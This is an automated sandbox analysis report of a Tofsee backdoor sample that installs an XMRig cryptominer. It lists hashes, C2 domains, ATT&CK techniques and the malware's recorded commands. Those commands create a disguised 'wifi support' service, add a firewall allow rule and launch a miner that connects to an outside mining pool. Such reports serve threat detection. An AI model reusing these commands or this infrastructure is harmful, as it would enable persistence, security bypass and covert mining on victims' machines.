Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    12-05-2023 01:12

General

  • Target

    e54e9f7fe7725afa85dfe0d0e04cf873d01084989205d93b4b4e1e1de7d935f3.exe

  • Size

    315KB

  • MD5

    1e93be0d225ce928393039c9771321fb

  • SHA1

    27ffe470bee42d5ce14f3914bc710f68fbd74247

  • SHA256

    e54e9f7fe7725afa85dfe0d0e04cf873d01084989205d93b4b4e1e1de7d935f3

  • SHA512

    3d51ef74913c2266f88a2b734ecb058caa390e3f72fb7aa47e7c5ea3565ef832394a0854c3aa84208143fb005d3d506a46465749b56d80aecee9755c5f8d378c

  • SSDEEP

    3072:TNXD1CpI7TkxlIlY0I0n+sDiV6YtnEduisT58ThH8x/06j0eO/OfgaH9xWm+d/HO:hEpjXQYhIs6YtnEduisN8F81069lH9A

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e54e9f7fe7725afa85dfe0d0e04cf873d01084989205d93b4b4e1e1de7d935f3.exe
    "C:\Users\Admin\AppData\Local\Temp\e54e9f7fe7725afa85dfe0d0e04cf873d01084989205d93b4b4e1e1de7d935f3.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1556
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\fnbjvcfd\
      2⤵
        PID:1528
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\jhrsuqtz.exe" C:\Windows\SysWOW64\fnbjvcfd\
        2⤵
          PID:1208
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create fnbjvcfd binPath= "C:\Windows\SysWOW64\fnbjvcfd\jhrsuqtz.exe /d\"C:\Users\Admin\AppData\Local\Temp\e54e9f7fe7725afa85dfe0d0e04cf873d01084989205d93b4b4e1e1de7d935f3.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1760
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description fnbjvcfd "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:580
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start fnbjvcfd
          2⤵
          • Launches sc.exe
          PID:1772
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1512
      • C:\Windows\SysWOW64\fnbjvcfd\jhrsuqtz.exe
        C:\Windows\SysWOW64\fnbjvcfd\jhrsuqtz.exe /d"C:\Users\Admin\AppData\Local\Temp\e54e9f7fe7725afa85dfe0d0e04cf873d01084989205d93b4b4e1e1de7d935f3.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1844
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:784
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe --algo=cn-heavy/xhv -o fastpool.xyz:10162 -u abLocBRHmSKSwfZexhaPDFFpUd1Szsp1RWPZktGDuK2w76S3KYNSLGndi55YtoHoKYbSFMCCWjxzTfwHxZSm7sNLe2rAq4DqbAF.70000 -p x -k
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1500

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\jhrsuqtz.exe
        Filesize

        12.3MB

        MD5

        2b7d7017a1add5e1045bddc45ee0e973

        SHA1

        61d42c947fd5b1bf05bc29a80583814e06b3df4b

        SHA256

        44a863479be1066c482f15f6ce3c967cc8c34b417744a068a9c9e35882279832

        SHA512

        4558b33e068686beddedca4eb943cda63219ca929c3f6ad475291d56dd864040a548bb9896ab7fcac64a4d623a7d9125172f56e82d7f83b902246cedb4fb5be3

      • C:\Windows\SysWOW64\fnbjvcfd\jhrsuqtz.exe
        Filesize

        12.3MB

        MD5

        2b7d7017a1add5e1045bddc45ee0e973

        SHA1

        61d42c947fd5b1bf05bc29a80583814e06b3df4b

        SHA256

        44a863479be1066c482f15f6ce3c967cc8c34b417744a068a9c9e35882279832

        SHA512

        4558b33e068686beddedca4eb943cda63219ca929c3f6ad475291d56dd864040a548bb9896ab7fcac64a4d623a7d9125172f56e82d7f83b902246cedb4fb5be3

      • memory/784-88-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/784-62-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
        Filesize

        4KB

      • memory/784-61-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/784-89-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/784-63-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/784-67-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/784-107-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/784-68-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/784-69-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/784-71-0x0000000001880000-0x0000000001A8F000-memory.dmp
        Filesize

        2.1MB

      • memory/784-106-0x0000000000200000-0x0000000000207000-memory.dmp
        Filesize

        28KB

      • memory/784-74-0x0000000001880000-0x0000000001A8F000-memory.dmp
        Filesize

        2.1MB

      • memory/784-90-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/784-81-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/784-82-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/784-83-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/784-85-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/784-84-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/784-86-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/784-87-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/784-75-0x0000000000150000-0x0000000000156000-memory.dmp
        Filesize

        24KB

      • memory/784-105-0x0000000005610000-0x0000000005A1B000-memory.dmp
        Filesize

        4.0MB

      • memory/784-78-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/784-91-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/784-92-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/784-93-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/784-94-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/784-95-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/784-97-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/784-96-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/784-98-0x00000000001B0000-0x00000000001B5000-memory.dmp
        Filesize

        20KB

      • memory/784-101-0x00000000001B0000-0x00000000001B5000-memory.dmp
        Filesize

        20KB

      • memory/784-102-0x0000000005610000-0x0000000005A1B000-memory.dmp
        Filesize

        4.0MB

      • memory/1500-111-0x00000000001F0000-0x00000000002E1000-memory.dmp
        Filesize

        964KB

      • memory/1500-112-0x00000000001F0000-0x00000000002E1000-memory.dmp
        Filesize

        964KB

      • memory/1500-120-0x00000000001F0000-0x00000000002E1000-memory.dmp
        Filesize

        964KB

      • memory/1500-119-0x00000000001F0000-0x00000000002E1000-memory.dmp
        Filesize

        964KB

      • memory/1500-121-0x00000000001F0000-0x00000000002E1000-memory.dmp
        Filesize

        964KB

      • memory/1500-122-0x00000000001F0000-0x00000000002E1000-memory.dmp
        Filesize

        964KB

      • memory/1500-123-0x00000000001F0000-0x00000000002E1000-memory.dmp
        Filesize

        964KB

      • memory/1500-124-0x00000000001F0000-0x00000000002E1000-memory.dmp
        Filesize

        964KB

      • memory/1556-59-0x0000000000400000-0x00000000006CC000-memory.dmp
        Filesize

        2.8MB

      • memory/1556-56-0x0000000000220000-0x0000000000233000-memory.dmp
        Filesize

        76KB

      • memory/1844-65-0x0000000000400000-0x00000000006CC000-memory.dmp
        Filesize

        2.8MB